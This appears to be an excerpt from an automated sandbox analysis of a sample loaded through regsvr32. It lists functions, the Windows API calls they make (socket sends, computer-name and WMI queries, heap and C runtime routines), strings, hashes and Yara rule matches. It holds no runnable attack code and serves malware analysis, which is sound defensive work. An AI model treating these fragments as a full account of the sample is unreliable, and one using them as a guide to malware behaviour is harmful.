Instruction Fuzzy Hash: 53816272F002184BDB08CA9DDC917EEF7FAABD8354F19813AE519E7394E6749C048B90

Function 6C856AE4 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00000000,?,?,attempt to join into collection with len > usize::MAX/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\str.rs,00000035,6C9785A8), ref: 6C856BD3

Strings

attempt to join into collection with len > usize::MAX/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\str.rs, xrefs: 6C856B36

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID: attempt to join into collection with len > usize::MAX/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\str.rs
API String ID: 3510742995-1099963043
Opcode ID: df83d4c7c561ca74468cbb371acc0a9baffd7186c04f6be0f5afe545a9de0dab
Instruction ID: 5b799695bec4daf6d8a6aeec36873f98b06e22cfef3700667e22c57de3e8580b
Opcode Fuzzy Hash: df83d4c7c561ca74468cbb371acc0a9baffd7186c04f6be0f5afe545a9de0dab
Instruction Fuzzy Hash: 3F61CCB1E012099FDB10CF64C884BDEBBB5FF54308F144969E804AB761E7B5E914CB90

Function 6C8F97E0 Relevance: 6.1, APIs: 4, Instructions: 128COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000,?), ref: 6C8F9852
ReadConsoleW.KERNEL32(?,6C983DB0,00000001,00000000,?,00000000,?), ref: 6C8F9862
GetLastError.KERNEL32(?,6C983DB0,00000001,00000000,?,00000000,?), ref: 6C8F9872
GetLastError.KERNEL32(?,6C983DB0,00000001,00000000,?,00000000,?), ref: 6C8F98EA

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ErrorLast$ConsoleRead
String ID:
API String ID: 2254617233-0
Opcode ID: 757bcecf1848567cd3311e32bf7836a7cb0e5b38261cf695ced46d1bbe024acc
Instruction ID: 4d2abbe3bd0493d2d128243d6646ee9305418fefe19d3cf51f88a5f6bf36354e
Opcode Fuzzy Hash: 757bcecf1848567cd3311e32bf7836a7cb0e5b38261cf695ced46d1bbe024acc
Instruction Fuzzy Hash: 0341DF71A01219ABDF10DFA4C980BEF77B8AF55368F148869E928A7740D731E942C7A0

Function 6C8626D0 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 6C8626E4
GetLengthSid.ADVAPI32(00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 6C8626EE
CopySid.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 6C862717
CopySid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 6C86274F

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Copy$LengthValid
String ID:
API String ID: 3824519660-0
Opcode ID: 61c158add2212a1f1b8d48715ea5f2ce2968d7809c6bbe3daa0d2a8437e72cc3
Instruction ID: e6218f134b5073c80d8872656c5c7a3e25aaa459dff0fa4398382d80b4c4fbee
Opcode Fuzzy Hash: 61c158add2212a1f1b8d48715ea5f2ce2968d7809c6bbe3daa0d2a8437e72cc3
Instruction Fuzzy Hash: 5431D870D013086BEB309F668D88FDBBAACAF56748F104865F904ABB41D7BDC90487B5

Function 04F8A2BF Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 04F8A2D3

Part of subcall function 04F89F9E: _free.LIBCMT ref: 04F8C745

__init_pointers.LIBCMT ref: 04F8A385
__calloc_crt.LIBCMT ref: 04F8A3F3

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 3556499859-0
Opcode ID: d640f9d809ed10fef1b179c7ca3851c6ae2fcadbee8e3c97a246e8732f721754
Instruction ID: dafdc9d521e7f201b7e22fcafba7dcc72392ee848bf34c0304d981940063f74e
Opcode Fuzzy Hash: d640f9d809ed10fef1b179c7ca3851c6ae2fcadbee8e3c97a246e8732f721754
Instruction Fuzzy Hash: BA315E31D40715FFDB21AFB5FD48AD63EA2EB84368754853BE404962B0EB74A4428F98

Function 0263E465 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0263E499
__isleadbyte_l.LIBCMT ref: 0263E4CC
MultiByteToWideChar.KERNEL32(00000080,00000009,0264AB6C,?,02645314,00000000,?,?,?,?,0264AB6C,02645314), ref: 0263E4FD
MultiByteToWideChar.KERNEL32(00000080,00000009,0264AB6C,00000001,02645314,00000000,?,?,?,?,0264AB6C,02645314), ref: 0263E56B

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 21a4a99c86c4800d9144e16af24a0218dfe942ac3b88dbf7f893ab931b26a57b
Instruction ID: c09561808c29b949a53b95123f8d7b15738eb9b890150ad9bd1105acdf14c9e2
Opcode Fuzzy Hash: 21a4a99c86c4800d9144e16af24a0218dfe942ac3b88dbf7f893ab931b26a57b
Instruction Fuzzy Hash: C431C532A00256EFDF12DF64C884ABD3BB5FF09325F148569E4659B292E333D940CBA0

Function 02634420 Relevance: 6.1, APIs: 4, Instructions: 93synchronizationtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0263443E
InterlockedExchange.KERNEL32(?,00000000), ref: 0263444D
WaitForSingleObject.KERNEL32(?,00001770), ref: 0263449B

Part of subcall function 02633F50: GetCurrentThreadId.KERNEL32 ref: 02633F55
Part of subcall function 02633F50: send.WS2_32(?,02647440,00000010,00000000), ref: 02633FB6
Part of subcall function 02633F50: SetEvent.KERNEL32(?), ref: 02633FD9
Part of subcall function 02633F50: InterlockedExchange.KERNEL32(?,00000000), ref: 02633FE5
Part of subcall function 02633F50: WSACloseEvent.WS2_32(?), ref: 02633FF3
Part of subcall function 02633F50: shutdown.WS2_32(?,00000001), ref: 0263400B
Part of subcall function 02633F50: closesocket.WS2_32(?), ref: 02634015

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: EventExchangeInterlocked$CloseCurrentObjectSingleThreadTimeWaitclosesocketsendshutdowntime
String ID:
API String ID: 4080316033-0
Opcode ID: 63f5b9e45fe0e2f7b75d6c17ba27ad0f3dddf59e740b33155e987a95ce264ae6
Instruction ID: 0f7856b82a766312c09f535632fd547063a02d85f99d391e376b6f36bd381897
Opcode Fuzzy Hash: 63f5b9e45fe0e2f7b75d6c17ba27ad0f3dddf59e740b33155e987a95ce264ae6
Instruction Fuzzy Hash: 6B216F766407046BD330EF69DC84B9BF3E8EF99720F500A1EE58AC7640DB71B4548BA5

Function 02634370 Relevance: 6.1, APIs: 4, Instructions: 70networkCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F), ref: 026343DC

Part of subcall function 026313A0: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 026313CB

Part of subcall function 026341D0: RtlEnterCriticalSection.NTDLL(02634FA5), ref: 026341D8
Part of subcall function 026341D0: RtlLeaveCriticalSection.NTDLL(02634FA5), ref: 026341E6

Part of subcall function 02634C60: HeapFree.KERNEL32(?,00000000,?,00000000,02634E45,?,026342B8,02634E45,00000000,?,?,02634E45,?), ref: 02634C87

SetLastError.KERNEL32(00000000,?), ref: 026343C7
SetLastError.KERNEL32(00000057), ref: 026343F1
WSAGetLastError.WS2_32(?), ref: 02634400

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: ErrorLast$CriticalHeapSection$AllocateEnterFreeLeave
String ID:
API String ID: 2160363220-0
Opcode ID: ea5523d5e75e48e808edcaabeda5bf16bfdb69450dfdea360075c6ad1e475f0d
Instruction ID: 571e0046f3837e7e1a6a8ef32fb7a9e2e99fb56b056871a60fed2263f083d836
Opcode Fuzzy Hash: ea5523d5e75e48e808edcaabeda5bf16bfdb69450dfdea360075c6ad1e475f0d
Instruction Fuzzy Hash: ED11063BA0612C9B9B11EE69B8845EEF7A8EF85732B0445AAED0DE7300DB359D1146D0

Function 02633BD0 Relevance: 6.1, APIs: 4, Instructions: 58networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(02633A9B,00000001,00000023), ref: 02633BE2
WSAGetLastError.WS2_32 ref: 02633BED
send.WS2_32(00000001,00000000,00000000,00000000), ref: 02633C38
WSAGetLastError.WS2_32 ref: 02633C43

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: ErrorLast$EventSelectsend
String ID:
API String ID: 259408233-0
Opcode ID: 52cb1a8313e9e950cfd4b8a74bdd093a5d46de6401d690088f169c9e091d2718
Instruction ID: 96dfd70249ebf569e2660ead0fff27ecc86ca5e7a6b3249c063b319986388cae
Opcode Fuzzy Hash: 52cb1a8313e9e950cfd4b8a74bdd093a5d46de6401d690088f169c9e091d2718
Instruction Fuzzy Hash: 2711A3B66017009BD3209F79D8C8A4BB7FAFB88710F404A1EEA97C7740C770E8508B50

Function 04F8FA0B Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 04F8FA31

Part of subcall function 04F8F85D: __fltout2.LIBCMT ref: 04F8F888

__cftog_l.LIBCMT ref: 04F8FA57
__cftoe_l.LIBCMT ref: 04F8FA89

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 158e06f604da39282f6583820bdd484f33028747e187cb05c89b6616bfe7e8bb
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 4B11393241014EBFCF126F84CC55CEE3F62BB1D364B598519FA185A030D336E5B2ABA2

Function 0263F336 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0263F35C

Part of subcall function 0263F188: __fltout2.LIBCMT ref: 0263F1B3

__cftog_l.LIBCMT ref: 0263F382
__cftoe_l.LIBCMT ref: 0263F3B4

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 3e55a16c715ef2e61582b37800e6019264206480185364ff1b609aa777d2d3f5
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 2111693680014ABBDF175E95CC418EE3F62BF08254F088818FA1898520C33AC9B2AB81

Function 04F8E0D3 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04F8E0DF

Part of subcall function 04F8A108: __getptd_noexit.LIBCMT ref: 04F8A10B
Part of subcall function 04F8A108: __amsg_exit.LIBCMT ref: 04F8A118

__amsg_exit.LIBCMT ref: 04F8E0FF
__lock.LIBCMT ref: 04F8E10F
_free.LIBCMT ref: 04F8E13F

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: 4cf3b957dde3def4c87ddc975d8c81450a738a2aaffde9ec79113fff7239d67b
Instruction ID: 3c47dccc420d0ce5629cfe8e140378a2425521d5579a7518170cec22806cc873
Opcode Fuzzy Hash: 4cf3b957dde3def4c87ddc975d8c81450a738a2aaffde9ec79113fff7239d67b
Instruction Fuzzy Hash: 6E014032E04A119BEB11BB649C087DEB7A1BF04754F14801EE811EF690DB347983DBD5

Function 026341D0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(02634FA5), ref: 026341D8
RtlLeaveCriticalSection.NTDLL(02634FA5), ref: 026341E6
RtlLeaveCriticalSection.NTDLL(02634FA5), ref: 02634247
SetEvent.KERNEL32(8520468B), ref: 02634262

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: 8438a2a2d9813f7413cdde15393eb1e0696155f3e3572684d148a6ad721bcda9
Instruction ID: ae53d931d87e9ad1a403992ba7ff3d6b46c4e9fc985e337cb2ee9a38d9e900f5
Opcode Fuzzy Hash: 8438a2a2d9813f7413cdde15393eb1e0696155f3e3572684d148a6ad721bcda9
Instruction Fuzzy Hash: AA1103B8A01B009FD725CF74C584ADAB7E9BF48301B54892DE49E87200EB30E841CB40

Function 02633640 Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 02633647
_free.LIBCMT ref: 0263367C

Part of subcall function 02637009: HeapFree.KERNEL32(00000000,00000000,?,02639A24,00000000,?,0263A0B0,?,00000001,?,?,0263C10B,00000018,02647C70,0000000C,0263C19B), ref: 0263701F
Part of subcall function 02637009: GetLastError.KERNEL32(00000000,?,02639A24,00000000,?,0263A0B0,?,00000001,?,?,0263C10B,00000018,02647C70,0000000C,0263C19B,?), ref: 02637031

_malloc.LIBCMT ref: 026336B7
_memset.LIBCMT ref: 026336C5

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CreateErrorFreeHeapLastTimerWaitable_free_malloc_memset
String ID:
API String ID: 3340475617-0
Opcode ID: 0eafc0aa7e5a22e6a4f0b0f493d649c87a5c4448f5ccb4ca4b73956a8532d84e
Instruction ID: 57deae51fb2a51b8ef79e54f5eabd8bf38505f4da3443d41aae64556c27f6d07
Opcode Fuzzy Hash: 0eafc0aa7e5a22e6a4f0b0f493d649c87a5c4448f5ccb4ca4b73956a8532d84e
Instruction Fuzzy Hash: 9E01D6F5900B44DFE3619F7A9881B97FAE9EB85314F104C2EE5AE83302D734A8048F60

Function 04F877AC Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04F877C6

Part of subcall function 04F87718: __FF_MSGBANNER.LIBCMT ref: 04F87731
Part of subcall function 04F87718: __NMSG_WRITE.LIBCMT ref: 04F87738

std::exception::exception.LIBCMT ref: 04F877FB
std::exception::exception.LIBCMT ref: 04F87815
__CxxThrowException@8.LIBCMT ref: 04F87826

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: 7f9ff3607203f8d0e7b58d90a7652ecaa2e8b9615d42c5d69c1e353cf8a40a72
Instruction ID: 67d724c52a2dd726edd0c52d7851401769686e7bc1dd0dad9ea00c3dc962efaf
Opcode Fuzzy Hash: 7f9ff3607203f8d0e7b58d90a7652ecaa2e8b9615d42c5d69c1e353cf8a40a72
Instruction Fuzzy Hash: F6F0A931D042099AEB00FBA4DC41BDD7BE66B41758F34402DD9149F1D0DBB4B692C759

Function 02636650 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02631420: HeapFree.KERNEL32(?,00000000,?,?,?,026340A1,?,00000000,02634029,?,02645054,02633628), ref: 0263143D
Part of subcall function 02631420: _free.LIBCMT ref: 02631459

HeapDestroy.KERNEL32(00000000), ref: 02636663
HeapCreate.KERNEL32(?,?,?), ref: 02636675
_free.LIBCMT ref: 02636685
HeapDestroy.KERNEL32 ref: 026366B2

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Heap$Destroy_free$CreateFree
String ID:
API String ID: 4097506873-0
Opcode ID: 89903acfe8d60dbdf1ff097c077709da85dc6d7b2ef77b1390ffee2e0cc6bdfb
Instruction ID: ae68c7f415545898738dd0329e46378331227cfb090cefa5b8cbf70f8cb4d641
Opcode Fuzzy Hash: 89903acfe8d60dbdf1ff097c077709da85dc6d7b2ef77b1390ffee2e0cc6bdfb
Instruction Fuzzy Hash: 6CF014B9500702ABD7219F25E808B57B7F8FF84B54F20491CE89A83240DB34F8518B94

Function 04F87A4B Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 04F87A51
___fls_getvalue@4.LIBCMT ref: 04F87A5C
___fls_setvalue@8.LIBCMT ref: 04F87A6F
__freefls@4.LIBCMT ref: 04F87AA5

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: ___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 865245655-0
Opcode ID: 4a06915e8936009563f3bcb273f9b9dd16386e252301183da01dac539c0c6632
Instruction ID: f07d7f95051e5cc967d7981532627e911251b174b1105efb7b9a0ff495fdddf5
Opcode Fuzzy Hash: 4a06915e8936009563f3bcb273f9b9dd16386e252301183da01dac539c0c6632
Instruction Fuzzy Hash: 46F05BB4900645EFD708BFB1CD08DAE7FE9AF88248720C45CE9058F222DA75F9439B95

Function 6C87C210 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

GetComputerNameExW.KERNEL32(00000005,00000000,00000000,?,?,6C864F0D), ref: 6C87C228
GetComputerNameExW.KERNEL32(00000005,00000002,00000000,00000005,00000000,00000000,?,?,6C864F0D), ref: 6C87C296

Part of subcall function 6C89A6B0: GetLastError.KERNEL32(?,6C86131E,6C8577BC,?,6C8577BC,?,?,?,?,6C851F14,?), ref: 6C89A6B3

Part of subcall function 6C85AC40: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8E9FA8

Strings

CurrentBuildNumberCurrentMajorVersionNumber (), xrefs: 6C87C3E7

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ComputerName$ErrorFreeHeapLast
String ID: CurrentBuildNumberCurrentMajorVersionNumber ()
API String ID: 1552939727-3310863298
Opcode ID: b2b56d593e16f7e418504dd8e7f9da269626866aa52b22932c9807f6a529721d
Instruction ID: 5187f26fd12130d783d72d3056eefa6657e3939aecb945af3b15afa39e1fef96
Opcode Fuzzy Hash: b2b56d593e16f7e418504dd8e7f9da269626866aa52b22932c9807f6a529721d
Instruction Fuzzy Hash: 4051D271D002099BEB30AEE99D85BEF76B8AF1530CF144939D914A7A82F774C94887B1

Function 6C861C00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(root\WMI), ref: 6C861C1E

Part of subcall function 6C892680: SysFreeString.OLEAUT32(8904C483), ref: 6C89268D

SysFreeString.OLEAUT32(6C861554), ref: 6C861CA0

Strings

root\WMI, xrefs: 6C861C19

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: String$Free$Alloc
String ID: root\WMI
API String ID: 986138563-2712063579
Opcode ID: 82175d924a187a5091170fa10e222aebb22d768b1091c272fc6aa989f5fe68c4
Instruction ID: 81ff864b9f7888c0315ac99dac8fbc7ec8421e01326f1cb09be1dffd8c226031
Opcode Fuzzy Hash: 82175d924a187a5091170fa10e222aebb22d768b1091c272fc6aa989f5fe68c4
Instruction Fuzzy Hash: EB316EB1C0160E9BDF11DFA9D948BDFB7B8BF08308F104925E415B7A01E735AA48CBA1

Function 6C9480B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 6C94812C

Strings

%p not found?!?!, xrefs: 6C948151

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: free
String ID: %p not found?!?!
API String ID: 1294909896-11085004
Opcode ID: 9e7e12e0f9a67fcc3d3a4064e0478d9c330838a51ce50980fe78e9b630303881
Instruction ID: aeb1051f3905045794ca1c21335f7f9657efaba0926a6e0008d2709893d6dc7a
Opcode Fuzzy Hash: 9e7e12e0f9a67fcc3d3a4064e0478d9c330838a51ce50980fe78e9b630303881
Instruction Fuzzy Hash: 29117CB1608301CFDB44AF6D98C125AB7E8BB29648B15C82FD5C4CBF00DB70D6448B96

Function 04F8785F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 04F878BA

Part of subcall function 04F879A2: __getptd_noexit.LIBCMT ref: 04F879A2

Strings

B, xrefs: 04F878B3

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: c8983595ceaa5ba76f605141cca68a1d372402d04fa407bee202103836b82639
